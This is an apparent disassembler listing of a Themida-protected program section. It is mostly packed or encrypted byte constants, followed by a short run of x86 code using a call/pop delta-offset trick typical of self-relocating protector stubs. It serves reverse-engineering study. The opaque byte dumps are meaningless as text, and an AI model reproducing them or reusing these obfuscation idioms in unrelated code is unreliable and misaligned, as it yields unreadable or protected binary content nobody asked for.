		dd 71E1624Fh, 0D3A24845h, 2673A665h, 37B968A8h,	0CD000000h
		dd 93B68D4Fh, 5A1086F2h, 4CF7A149h, 0F271982Bh,	2BFC1086h
		dd 0F44F1804h, 1086F2ADh, 4F3D7F50h, 59C9246Bh,	34864F63h
		dd 529575F8h, 1D0B5A30h, 2CB5h,	624FD100h, 2E4373E3h, 625B5BCBh
		dd 48F39D4Dh, 0AD184618h, 1086F264h, 0E0543607h, 0F2ADF44Fh
		dd 0F1DE1086h, 246B4FCBh, 566359C9h, 57C72472h,	0AB432765h
		dd 4FE0DC0Ch, 0F293B68Dh, 495A1086h, 0A666D2A1h, 68A82673h
		dd 42B9h, 624FCD00h, 167C6EDEh,	4F093363h, 86F2ADF4h, 3D7F5010h
		dd 0BF488D4Fh, 24F44E84h, 33A3060Dh, 624FE357h,	0F23975DDh
		dd 250BB89Ch, 57330C0Ah, 0B5E757DAh, 624F7256h,	56276FDFh
		dd 6F08B4h, 0AB240000h,	0D502DC0Ch, 0EEF9A8DAh,	0A9199910h
		dd 0BC2C8D86h, 2DE5857Ah, 0F44F8D4Fh, 1086F2ADh, 308B7F50h
		dd 1086F2E9h, 0EE6C1522h, 0ED65560Fh, 8EDBFCC2h, 0E9691DB5h
		dd 0F83BB5FCh, 4B64FC41h, 6B4F7B9Fh, 93B68D4Fh,	5A1086F2h
		dd 9F0B6E49h, 2405BD9Ah, 0F464C546h, 869C9EAh, 86CD143Dh
		dd 0E9C6D710h, 0F007D0ADh, 0D083AF97h, 56CC701Ah, 67C82472h
		dd 86F2B5DCh, 48673810h, 4BBB3D76h, 0CE0E759Fh,	961086F2h
		dd 0A90BBC23h, 42B9B1Dh, 54EFED71h, 1086F20Dh, 6DBB4E87h
		dd 0A00099A5h, 2437DB8Fh, 455E58C8h, 756777E7h,	0F550C03Ch
		dd 1086F2ACh, 72E2624Fh, 0C87FAD5Dh, 4A14DED1h,	86F2567Bh
		dd 0B0131510h, 1086F269h, 3E2C0314h, 370E6FCDh,	1086F212h
		dd 0EE7C8D9h, 86FC2BB3h, 0CC5CD910h, 5697A827h,	0FFFFFE25h
		dd 0F297B632h, 0B25B1086h, 0CF1086F2h, 430263E2h, 1086F21Eh
		dd 7E3CCDDh, 86F2769Ch,	0F2D1FC10h, 74991086h, 0FC1086F2h
		dd 0D086F2D1h, 199EEA8Eh, 0BF906DA9h, 0E6CC249Fh, 0EDEFD69Eh
		dd 91063356h, 6ECDBAD6h, 8539D1FEh, 48F882B4h
		dd 477F4618h, 16D08BF7h, 9D2D7805h, 82EF1BDh, 2B4ACh, 0A8189600h
		dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh
		dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 70D2F7CEh
		dd 0D899169Ch, 3BC72464h, 13F74DB5h, 369F9F16h,	36283619h
		dd 86524A8Fh, 8A603110h, 2A5A1E8Ch, 0CCDAB114h,	506116A1h
		dd 57C7258Eh, 6176D8B3h, 0F6CD06Dh, 91A6979Fh, 9872FCD3h
		dd 9DFBE02Dh, 0B4102116h, 0B98C5244h, 169DFB90h, 85654A5Bh
		dd 233B6B0Bh, 979F839h,	7D03300Dh, 1D3E5D0Dh, 0DC10BA65h
		dd 3DBEF3CBh, 78FB28CDh, 0E6134710h, 0E5CAAFD3h, 5C0352B1h
		dd 4CEC1CB3h, 0E483421Ch, 731A94C2h, 14979CA2h,	248DD1A4h
		dd 44B437C3h, 31927F6Bh, 0DA2C75D0h, 0FECF02D6h, 0A353E5D1h
		dd 0FD86B73h, 8E04F144h, 4FEF79BDh, 381D3F1Fh, 9823E2Bh
		dd 86BA812h, 8CD3F298h,	6B0ECBF3h, 6E49B93Eh, 34FC59ADh
		dd 805E7103h, 0D46FD033h, 0E037E8Dh, 6FFC3007h,	9B7AEE0h
		dd 0B17E1738h, 51B4E252h, 0E02E20Ch, 0D9E515E9h, 2764956Ah
		dd 13031408h, 8C421349h, 0A7562D0Ah, 661138EDh,	0EC4F3426h
		dd 0DB453A7Ch, 0D8DE4EAEh, 7822C8E7h, 6DC698C8h, 0A39C9A0Ah
		dd 12CE75C7h, 0EB323B6Fh, 0E6C939BEh, 3503CA17h, 239F9593h
		dd 159h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h
		dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h
		dd 9C71557Ch, 0E5571816h, 3DB0BABh, 0F2276AD9h,	0F5C61086h
		dd 0EF843F15h, 6E16A16Ch, 6273595Dh, 40587251h,	91576DD6h
		dd 0A82496Eh, 0EF1E1621h, 500AC9BFh, 104000BAh,	0C89B774Eh
		dd 0D1E21081h, 0BB5CF54Ch, 0EC486EB1h, 0E5h, 0FC990965h
		dd 0C352C227h, 0D4A1116Ch, 8C69D95Fh, 0D2A31397h, 57DBD6D5h
		dd 9E210EE7h, 5CD8472Eh, 991A09ECh, 537B4C29h, 9C76A9F0h
		dd 0A9935416h, 3DB0BABh, 0A16CA340h, 2D693A16h,	0AE47B734h
		dd 0A4920281h, 2C326216h, 10800132h, 62412926h,	10BB1639h
		dd 210EE7B8h, 0F96530A0h, 0FC6CCEE3h, 0B2060049h, 6ADA5E1Ch
		dd 0DCED532Ch, 1080FD2Eh, 0DA4AAE85h, 1686E43Bh, 4201DB7Fh
		dd 1CB2061Fh, 0E454B1DEh, 90F21FCBh, 97151E20h,	6C1EEF27h
		dd 3DAD1221h, 0F969CB58h, 34A4071Ch, 56DD261h, 4D1DE19Eh
		dd 1EF7D8DEh, 0A6B8E898h, 0FA1FA6B8h, 811CB215h, 0A0EBDAB0h
		dd 3F1A958Bh, 0B83B286Eh, 0B4A1AD48h, 0E3D95B74h, 893C0282h
		dd 2C9F940h, 54701A2Bh,	0Dh, 6F6D2F68h,	86F28DD4h, 0AB5F7010h
		dd 5ACA2487h, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
		dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 8953783Ch
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 4EC81h, 34890000h
		dd 419C6824h, 0C890000h, 27B95124h, 814BA928h, 1115D4F1h
		dd 59CE8955h, 0EE81DEF7h, 0DB2D4787h, 4EC81h, 24890000h
		dd 24048324h, 0BB535904h, 8, 5158C381h,	0CB0149FAh, 5158EB81h
		dd 338949FAh, 240C8B5Bh, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0FF5C243Ch, 835E2434h, 87E904C4h, 0DFFFAF8h,	1A854BB8h
		dd 8BC50306h, 0DE8C3h, 0A0BF0000h, 5B0AE789h, 0B9B18D1Bh
		dd 0E975F730h, 10h, 0A7176C52h,	2989EA13h, 0B6C4E8E1h
		dd 0B11571B8h, 0A1E7815Bh, 810204ABh, 5BFCC3h, 78BAF500h
		dd 81036588h, 659E98F2h, 0F0816603h, 0B8BD9BEh,	3331C181h
		dd 0EABF0AFAh, 81769B18h, 40EAC6E9h, 0C181F903h, 64C74E85h
		dd 7E9h, 27579400h, 953C0222h, 0EB830B89h, 5880F02h, 66000000h
		dd 6A0DD881h, 4AF94B4Bh, 0FFC0850Fh, 73E9FFFFh,	6A000002h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0FCC8C350h, 13E9D72Dh, 8D000000h,	0FA475B96h
		dd 739E56DFh, 0B22F5274h, 98926EA2h, 0B58DE201h, 61A8767h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 20C35343h
		dd 606B6D99h, 68A0Fh, 0E1810000h, 229DEA2Ah, 0BE9h, 0FDEB500h
		dd 739F6C9Ah, 0DFC88E27h, 0B8666061h, 0BE8865Fh, 79000000h
		dd 434C3257h, 0E60D79ACh, 616068E4h, 858D6158h,	6184559h
		dd 98E0Fh, 8B600000h, 0F52FBAD3h, 0FF610CCEh, 810F60D0h
		dd 11h,	0CE9h, 873EAF00h, 807C064Ch, 1B53BFF1h,	5890F05h
		dd 66000000h, 4865F181h, 12E86061h, 0B8000000h,	0EBF114DEh
		dd 0AA096F40h, 222BB820h, 36B51EDEh, 505EFC38h,	615A2CB6h
		dd 138A0FC3h, 0F000000h, 0D86h,	8E900h,	1C570000h, 5AF4EAC4h
		dd 8C6686CBh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 800F601Dh, 6, 0A173F781h,	7E96559h
		dd 0D9000000h, 99EBB860h, 0F66177D6h, 840F04C1h, 67h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h, 0A92F2F05h
		dd 0B55F0D68h, 6E9h, 9F4B7800h,	8B0B5218h, 32CB8BFBh, 0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 51006ACFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 1E986956h, 606F0B8Fh, 38B0Fh, 8B660000h
		dd 8B0F53DFh, 0
		dd 820F615Eh, 1, 6E860FCh, 9D000000h, 4C2DDBF5h, 11E924h
		dd 34F50000h, 81BF2F55h, 6B32A409h, 48674E85h, 5A83865Fh
		dd 1DDE8160h, 0F4D947Eh, 85h, 6A616100h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0ECA6C350h
		dd 1F61F8D5h, 0F416981h, 1D86h,	17810F00h, 0E9000000h
		dd 12h,	6D9072C2h, 282E00FCh, 21CDD0A1h, 8A5DBC71h, 0F60BBC8h
		dd 8Bh,	85C76100h, 61A87F0h, 1013Fh, 899A8D8Dh,	6660061Ah
		dd 8033DE81h, 6850Fh, 95290000h, 6150269h, 218D8961h, 6A061527h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 1C6EC353h, 75BD890Dh, 0C7061510h,	1504CD85h
		dd 640C06h, 0EE800h, 0CA140000h, 0E17A7E30h, 1A1279DBh
		dd 955FADE2h, 10E9h, 0C3587500h, 0CF70F089h, 5B9550E2h
		dd 8FE8A2DCh, 85C75E35h, 6151115h, 0
		dd 0AE9h, 8AED8700h, 0AC8D2CF8h, 0FFEAC323h, 152339B5h
		dd 0C5858B06h, 60061503h, 60F88B66h, 61615F57h,	2C995FFh
		dd 8D0F0615h, 6, 16759D8Bh, 6A0615h, 2E2195FFh,	0C08B0615h
		dd 7DA72BEBh, 0A9DBB13Fh, 9635604Ch, 492A51D3h,	0C8D6B0F0h
		dd 7D3814B7h, 42E0DA5Ah, 0ABFC9EE9h, 0DE83084h,	9DE983DFh
		dd 5794420Dh, 0BE827h, 31120000h, 0FDB8E2E7h, 0ED6B9AECh
		dd 0F2BF0F26h, 0C820F5Ah, 60000000h, 6C9B58Bh, 0B8660615h
		dd 816100E1h, 6051C2h, 0F9BF0F00h, 858BDB2Bh, 6151799h
		dd 291A0C8Bh, 150DF9B5h, 0F8C18106h, 237A0960h,	150441BDh
		dd 61E98106h, 0F04FC40h, 0E981C1BFh, 3530A31Fh,	6C2FB866h
		dd 800F51h, 8F000000h, 9D011A04h, 6151A11h, 2451B58Bh
		dd 0EB830615h, 0F4E48004h, 0A060FB81h, 850FFFFFh, 14h
		dd 2EE9h, 0B7D82000h, 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h
		dd 1DF19D31h, 91E90615h, 47FFFFFFh, 5D4EF3Eh, 6E163460h
		dd 730EFEFEh, 2BCB7564h, 0E945A1B7h, 13Ch, 4Fh dup(0)
		dd 2169BD83h, 0F010615h, 51884h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 69426043h
		dd 9B79F2CCh, 0C585C609h, 43061509h, 5E960h, 0F7230000h
		dd 669643EEh, 617BFDBAh, 4E8h, 0A5D0F500h, 7E9ECh, 57B20000h
		dd 0A5EE4105h, 525050A0h, 6E9h,	445FD600h, 0FDD025Dh, 0BF666031h
		dd 5A61E848h, 24448B58h, 60525004h, 8B666160h, 310F61D8h
		dd 11890Fh, 0CE90000h, 0B9000000h, 0BF82E93Eh, 0B665E7FAh
		dd 5A508EBFh, 0E9008B58h, 11h, 3613D3D8h, 99DC483Eh, 9FD76E61h
		dd 0C8933734h, 2444892Ah, 0EE904h, 92500000h, 3FEA119Ah
		dd 7118D484h, 0FC345675h, 0E3B36058h, 6161F960h, 2811B5FFh
		dd 850F0615h, 7, 66595060h, 8D61C38Bh, 1872BC85h, 0D0FFF506h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 98C35343h
		dd 391F49C3h, 3DE5A535h, 558589F9h, 0F061524h, 1585h, 10E900h
		dd 3CB80000h, 7DA6EDEBh, 0F99C8168h, 263002CEh,	85C642D4h
		dd 61509C5h, 1B810F50h,	60000000h, 13E9h, 93C07D00h, 3584CEA3h
		dd 4BD64502h, 2BFB300Dh, 8B8D2507h, 0B16861F9h,	50A4C548h
		dd 0F525052h, 8Ch, 0F310F00h, 87h, 0F585A00h, 0E9525031h
		dd 13h,	23B21610h, 0CFC68B29h, 944CFD58h, 243CA389h, 0F342E54h
		dd 0BE931h, 840B0000h, 0EB544F90h, 79C97265h, 5A585AC0h
		dd 24348158h, 0C68E5E7h, 11B5FFF9h, 60061528h, 12E8h, 88F07100h
		dd 0A81C9B66h, 481C3B41h, 82257AFAh, 0E8B26FA3h, 11h, 0A19DF547h
		dd 0F49B7EB3h, 50146F55h, 9B735357h, 0F95959ABh, 11E961h
		dd 0EAC60000h, 5984722Eh, 85F4CBE0h, 3BFFA1B1h,	8D4984E2h
		dd 1872BC85h, 16860F06h, 0E9000000h, 11h, 6D150533h, 0F976DC6Fh
		dd 3DFD3B10h, 89AFB894h, 0F8D0FF24h, 108C0Fh, 0BE90000h
		dd 34000000h, 0A12492Ch, 0DABD0998h, 858911C9h,	6151DF9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 1FC35747h
		dd 89BD5E51h, 0E9D5FB3Ah, 13h, 0A310B152h, 0E6733075h
		dd 18FCA532h, 7A083D09h, 0E9C9114Bh, 10h, 0DF6BA74h, 244BE2Dh
		dd 0C002AFEh, 0ABD26286h, 0C741D168h, 0EE99Eh, 50D70000h
		dd 0A0C4430h, 856C6872h, 0C71B45F9h, 0FE243481h, 606E48E9h
		dd 14E9h, 2A8E7900h, 1B91EBF0h,	0DAD0D8B3h, 0ABE8EEh, 133577C7h
		dd 87B866B0h, 0B5FF6156h, 6152811h, 0DE8B60F8h,	14E9h
		dd 0E94FDB00h, 3F9A28E1h, 20F059F4h, 2398544Eh,	0E9D5DFCFh
		dd 858D616Fh, 61872BCh,	60D0FFFCh, 91EFDA81h, 0E9524BD4h
		dd 0Ch,	24A44B3Fh, 0B49F573Ch, 0AA1E2C6h, 8589615Eh, 6150E0Dh
		dd 0C585C6F8h, 50061509h, 10E9h, 836BB000h, 0B6A87B15h
		dd 9813DD84h, 4353E798h, 0BD4E6865h, 0CE92604h,	2E000000h
		dd 13C97CC5h, 1BBA73C4h, 81073B02h, 1F082404h, 0F607198h
		dd 0B70FCBB7h, 0BE961D6h, 98000000h, 0A1E100B5h, 0D855DF4Fh
		dd 0B5FFCB52h, 6151685h, 38858DF9h, 6006153Bh, 8E9C781h
		dd 61F82CEFh, 89F5D0FFh, 1505B585h, 92E9F506h, 60000001h
		dd 0F8C0BF0Fh, 0E9609561h, 7, 16280DD3h, 6638723Ah, 5061F98Bh
		dd 13E9h, 0A3C4900h, 7AC51402h,	5256ABE6h, 0CD5499C9h
		dd 0E67762DDh, 0DE995h,	88640000h, 23EB6A2Ah, 2266B130h
		dd 0F812ECBh, 180h, 0EC8BFC00h,	0F7816660h, 12E89D59h
		dd 0C8000000h, 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 5756168Ch
		dd 0CB8B6609h, 0EE96159h, 0AC000000h, 1871456Fh, 5E1FB864h
		dd 109AEBA3h, 0FCC48352h, 0E8F860F5h, 0
		dd 0E5EA815Ah, 0C7061A8Fh, 0FC45h, 0BA830000h, 6152169h
		dd 98840F01h, 52000000h, 0F6A006Ah, 245592FFh, 895A0615h
		dd 1A8A8982h, 8D9A8D06h, 52061A8Ah, 12803C7h, 50530000h
		dd 1DF992FFh, 525A0615h, 8A8D9A8Dh, 0FF53061Ah,	1A8A89B2h
		dd 0B592FF06h, 5A061505h, 5074C00Bh, 8A8D9A8Dh,	7B8D061Ah
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 151A71BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 71828D08h, 5006151Ah, 0E0D92FFh, 0B5A0615h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 0E90008C2h, 11h, 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh
		dd 0E518A81Dh, 56006A32h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0AAADBh, 0FE92Ch, 2CE30000h
		dd 460BE84Eh, 9FAB5598h, 739390B8h, 0E8D28B5Bh,	13h, 0B9EE6D5Ah
		dd 14B63847h, 0E3717E69h, 4196037Dh, 0F1B6219h,	0F5AFABFh
		dd 589h, 0B70F6000h, 0C28161F6h, 5DBBh,	45F9DAB9h, 1740BE28h
		dd 0CE8B0000h, 8B0F32FFh, 4, 3A57B866h,	0EE95Bh, 9920000h
		dd 0F4286B97h, 0B2CBF600h, 0FF7040C6h, 192C381h, 0F525F84h
		dd 88h,	0EB815900h, 717347E8h, 6123EAB8h, 5FC3815Eh, 8B04EDAEh
		dd 0E81A89FAh, 0Ah, 0EB294377h,	9D2798D8h, 0F6BFD12Bh
		dd 594C2194h, 0E804EA83h, 14h, 5455B386h, 32C056F9h, 95894E0Fh
		dd 840D57CAh, 23973122h, 9B403FB9h, 0EE815843h,	1, 0FF7A850Fh
		dd 0CB8FFFFh, 0D817791Dh, 6C1FF413h, 0BD2BD0BFh, 0A3F29263h
		dd 3068671h, 587AFA35h,	87FC2B70h, 58816885h, 0E4331685h
		dd 0EAD186F1h, 4F1D8205h, 731E9E88h, 0B63C2A33h, 99332B24h
		dd 0E6D0E5B4h, 7BDA7578h, 0B2332B36h, 0D0D81BC2h, 398EA856h
		dd 66353E21h, 333DAF3Ah, 18552B35h, 2562D4EFh, 66332835h
		dd 0B42A9453h, 8E3AEB8h, 75552D2Fh, 0A34780h, 0A363D9BEh
		dd 71612B5Fh, 0CC332B36h, 3CF07115h, 37177FBCh,	9D176FB4h
		dd 0CC332B2Fh, 29F07977h, 372669A1h, 44B3E60Dh,	7EB6A6B0h
		dd 693531A4h, 333328B4h, 0F8CA4B35h, 9C169EA5h,	15B95A5h
		dd 0A6CC6C84h, 9F263A34h, 0CC30A53Ah, 0ACB32B35h, 0DBF3A0EFh
		dd 99332B38h, 0E30CD021h, 8F9A154Ch, 76C22DBEh,	1D7791F6h
		dd 4F6D2A5Dh, 733BDE88h, 3A462B33h, 9A9E96B6h, 0B8332D20h
		dd 0ED607B2Ch, 374993F5h, 1CBA2B35h, 0CA2638B0h, 0CCADB6B8h
		dd 0E0CC2D22h, 24B0736Eh, 0CA262898h, 36245F35h, 37499366h
		dd 1CBA2B35h, 0CA2638B0h, 0C1BEB6B8h, 0E0CC2D22h, 1C3C736Eh
		dd 0CC332B30h, 3B04538Bh, 0B8C1A069h, 71654BF5h, 0CC332B3Ah
		dd 90A912AFh, 5B81218h,	23BCFB3h, 9676B4DBh, 663EC26Fh
		dd 95A2B35h, 7D21C06Eh,	7839ADD1h, 7E547B6h, 0A289B6B8h
		dd 1CBE2D2Fh, 0CA29ADA2h, 3CFCA062h, 6AE4A067h,	9959FBCAh
		dd 0CC30C366h, 3D132B35h, 6FBA70F6h, 0DDB22F11h, 0CC2B2F11h
		dd 35702B35h, 0E0FF53F6h, 27557492h, 0C38DFF8h,	6653AF3Ah
		dd 33592B35h, 9930C367h, 96132B35h, 32BA71F6h, 77B22F11h
		dd 992B2F11h, 9E712B35h, 540A69F6h, 0AEBE929Bh,	9F2664ABh
		dd 24642B5Fh, 66332B36h, 6CF07415h, 9D1757BCh, 0C8176FB4h
		dd 66332B20h, 0A8F07C72h, 9935C274h, 9FED2B35h,	1B050B3Dh
		dd 3333288Dh, 63B87D35h, 0ACD0D46Ch, 62D0AA53h,	0AEBE4A81h
		dd 9F29BAF7h, 4AA4AEB8h, 66592D2Fh, 3330C366h, 0C2132B35h
		dd 90BA70F6h, 22B22F11h, 33262F11h, 0CA702B35h,	33E275F6h
		dd 69F320E5h, 333368B1h, 9BB82435h, 47332B35h, 0F8AEA6E2h
		dd 3C353E7Ah, 99332AB2h, 0CD8BD735h, 0C332B35h,	30DB7935h
		dd 0B9332B35h, 4569E86Fh, 0E7370F61h, 29370F71h, 0DB332B35h
		dd 8D4AE867h, 0CC5105AFh, 0E7D791FEh, 7ACC6163h, 5DF4B6B8h
		dd 66592D2Fh, 3330C366h, 0C2132B35h, 90BA70F6h,	22B22F11h
		dd 33272F11h, 0CA702B35h, 0D8DA07F6h, 1B332B35h, 0C3022EB2h
		dd 0CDCFAAFDh, 8D3BD1B3h, 48DE682Eh, 0BEC371C6h, 83B5BCB0h
		dd 9D334133h, 663328DDh, 0F06A0B35h, 0BD7FA26Ch, 0E877AA31h
		dd 66333E31h, 0F0626A35h, 96CAC858h, 0CC333BBEh, 6638C235h
		dd 0CF072B35h, 3B48BC2Ch, 0DE583AE8h, 69E3D451h, 33332FB1h
		dd 0C28C4D35h, 0C3F32044h, 663374B1h, 64334135h, 993328DDh
		dd 0F6C0B35h, 424FA26Ah, 1777AA31h, 99333331h, 0F646C35h
		dd 70C31403h, 31B22467h, 12332B35h, 6B24DCEh, 8EB940B4h
		dd 7CADB6B8h, 12552D20h, 0CC3093E6h, 66592B35h,	3330C365h
		dd 0C1132B35h, 88BA73F6h, 22B22F11h, 33272F11h,	0C9732B35h
		dd 33CB72F6h, 0B68C24D6h, 66334176h, 993328DDh,	0F6E0B35h
		dd 425FA268h, 1777AA31h, 99333D31h, 0F666E35h, 0EB3431CCh
		dd 29A29B88h, 0D1BEA633h, 743531A0h, 0EC787748h, 37BAAE06h
		dd 56182D20h, 0BE31C2F4h, 29BAF7AEh, 0A4AEB89Fh, 592D2F4Ah
		dd 30C36666h, 132B3533h, 8370F6C2h, 0A4F305E9h,	0CE8C08Bh
		dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 5EE8FB4Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8BD4F9F2h
		dd 0BF5E50C3h, 5A3C2F55h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0C4D8B7C3h, 560CB026h
		dd 0AAD98166h, 83D38B79h, 1508F5BDh, 9750006h, 3ADBD83h
		dd 74000615h, 8B535019h, 47AB8C0h, 85890000h, 61502A1h
		dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
		dd 47AB853h, 85890000h,	61502A1h, 0A7A69D8Dh, 0D3FF0617h
		dd 0A9B6585Bh, 66E9C08Bh, 60000002h, 0F6D98C66h, 840F04C1h
		dd 35h,	0B5FF016Ah, 6151685h, 72BC858Dh, 0D0FF0618h, 14ED8589h
		dd 0FE8B0615h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 61514EDh,	32E9h, 0C585C600h, 56061509h, 0C530DF68h
		dd 11B5FFA9h, 8D061528h, 1872BC85h, 89D0FF06h, 15301985h
		dd 75858D06h, 5006151Eh, 56A406Ah, 1995FF56h, 61061530h
		dd 0C3h, 2 dup(0)
		db 0
byte_5D30D1	db 52h,	8Bh, 0D4h	; DATA XREF: Themida_:0057BF70o
		dd 8428B60h, 969E8589h,	428B061Ah, 9685890Ch, 8B061A96h
		dd 85891042h, 61A969Ah,	96D4B58Dh, 858D061Ah, 5B8EA1h
		dd 5A61D0FFh, 8B000CC2h, 1A969EB5h, 96858B06h, 83061A96h
		dd 1A969ABDh, 840F0006h, 7, 2E90689h, 88000000h, 0CF06h
		dd 0
		db 2 dup(0)
word_5D312E	dw 8B52h		; DATA XREF: Themida_:0057AB90o
		dd 428B60D4h, 9E858908h, 8D061A96h, 1A9725B5h, 0A1858D06h
		dd 0FF005B8Eh, 8B5A61D0h, 1A969E85h, 4C206h, 969E858Bh
		dd 8B061Ah, 969E8589h, 0CF061Ah
		db 3 dup(0)
byte_5D3167	db 60h			; DATA XREF: Themida_:0057A79Co
		dd 96FBB589h, 8589061Ah, 61A96F7h, 5E1858Dh, 408B0615h
		dd 34858944h, 8D061A97h, 1A976AB5h, 0A1858D06h,	0FF005B8Eh
		dd 858B61D0h, 61A96FBh,	0F79D8BC3h, 0F061A96h, 33C43B7h
		dd 785B8BD8h, 96F79D03h, 738B061Ah, 0F7B50324h,	56061A96h
		dd 8B207B8Bh, 0BD031C73h, 61A96F7h, 96F7B503h, 83FC061Ah
		dd 8B41FFC9h, 1A96FB9Dh, 3178B06h, 1A96F795h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 1A96F785h,	0FB858906h, 8B061A96h, 8BCE8BF0h
		dd 34BD81C1h, 61A97h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61A9734h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 34BD8100h
		dd 61A97h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 61A9734h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0A2858DCFh
		dd 89061A96h, 15254185h, 38858D06h, 89061A97h, 150D6D85h
		dd 0FF858D06h, 89061A96h, 15116185h, 1C8E906h, 88880000h
		dd 7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 755B6600h,	0FE80h,	11h dup(0)
		dd 53E90000h
		db 3, 2	dup(0)
byte_5D34AB	db 55h			; DATA XREF: Themida_:0057BF9Co
		dd 0E8h, 0ED815D00h, 61A9A82h, 0CF85C760h, 61A99h, 66000000h
		dd 0A1663E81h, 0F850Fh,	85C70000h, 61A99D3h, 6,	24E9h
		dd 0D7858D00h, 50061A99h, 9A27858Dh, 5650061Ah,	1DE8006Ah
		dd 83000000h, 0FF2510C4h, 89000000h, 1A99D385h,	0B5036106h
		dd 61A99D3h, 99CF858Bh,	0C35D061Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5D353D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5D3549
; ---------------------------------------------------------------------------


loc_5D353D:				; CODE XREF: Themida_:005D3526j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5D3549:				; CODE XREF: Themida_:005D3538j
		push	ebx
		push	esi
		push	edi


loc_5D354C:				; CODE XREF: Themida_:005D35A1j
					; Themida_:005D35BDj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D355F:				; CODE XREF: Themida_:005D3586j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9B39h
		lea	ebp, [ebp+61A99AFh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D358C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D355F


loc_5D358C:				; CODE XREF: Themida_:005D357Bj
		cmp	cl, 0Bh
		jz	loc_5D35E9
		cmp	al, 66h
		jnz	loc_5D35CA
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5D354C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5D35C2
		mov	byte ptr [ebp-4], 2
